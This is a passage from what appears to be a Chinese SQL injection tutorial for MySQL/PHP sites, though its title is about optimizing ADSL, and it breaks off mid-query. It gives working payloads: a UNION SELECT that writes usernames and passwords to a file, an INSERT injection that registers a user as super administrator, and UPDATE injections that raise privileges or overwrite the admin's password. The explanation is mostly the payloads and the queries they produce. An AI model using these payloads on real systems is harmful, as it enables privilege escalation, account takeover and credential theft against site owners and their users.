手把手教你优化ADSL

http://127.0.0.1/injection/show.php?i ... ion select 1,username,password from user into outfile ''c:/user.txt

这样才能得到我们想要的资料：

值得注意的是想要导出文件，必须magic_quotes_gpc没有打开，并且程序也没有用到addslashes()函数，还有不能对单引号做任何过滤，因为我们在提交导出路径的时候，一定要用引号包含起来，否则，系统不会认识那是一个路径，也不用尝试用char()或者什么函数，那是徒劳。

INSERT

如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了，其实还有两个危害更大的操作，那就是INSERT和UPDATE语句，这类例子不多，先面先说说INSERT，这主要应用于改写插入的数据，我们来看个简单而又广泛存在的例子，看看下面的数据结构：

CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT ''1'' NOT NULL ,
PRIMARY KEY ( `userid` )
);

其中的userlevel代表用户的等级，1是普通用户，2是普通管理员，3是超级管理员，一个注册程序默认是注册成普通用户，如下：

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('''', ''$username'', ''$password'', ''$homepage'', ''1'');

默认userlevel字段是插入1，其中的变量都是没有经过过滤就直接写入数据库的，不知道大家有什么想法？对，就是直接注入，使我们一注册就是超级管理员。我们注册的时候，构造$homepage变量，就可以达到改写的目的，指定$homepage变量为：

http://4ngel.net'', ''3'')#

插入数据库的时候就变成：

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('''', ''angel'', ''mypass'', ''http://4ngel.net'', ''3'')#'', ''1'');

这样就注册成为超级管理员了。但这种利用方法也有一定的局限性，比如，我没有需要改写的变量如userlevel字段是数据库的第一个字段，前面没有地方给我们注入，我们也没有办法了。
或许INSERT还有更广泛的应用，大家可以自行研究，但原理都是一样的。

UPDATE

和INSERT相比，UPDATE的应用更加广泛，如果过滤不够，足以改写任何数据，还是拿刚才的注册程序来说，数据结构也不变，我们看一下用户自己修改自己的资料，SQL语句一般都是这样写的：

UPDATE user SET password=''$password'', homepage=''$homepage'' WHERE id=''$id''

用户可以修改自己的密码和主页，大家有什么想法？总不至于还是提升权限吧？程序中的SQL语句又没有更新userlevel字段，怎么提升啊？还是老办法，构造$homepage变量, 指定$homepage变量为：

http://4ngel.net'', userlevel=''3

整个SQL语句就变成这样：

UPDATE user SET password=''mypass'', homepage=''http://4ngel.net'', userlevel=''3'' WHERE id=''$id''

我们是不是又变成超级管理员了？程序不更新userlevel字段，我们自己来。
还有更加绝的，直接修改任意用户的资料，还是刚才的例句，但这次安全一点，使用MD5加密：

UPDATE user SET password=''MD5($password)'', homepage=''$homepage'' WHERE id=''$id''

尽管密码被加密了，但我们还是可以构造我们需要的语句，我们指定$password为：

mypass)'' WHERE username=''admin''#

这时整个语句变为：

UPDATE user SET password=''MD5(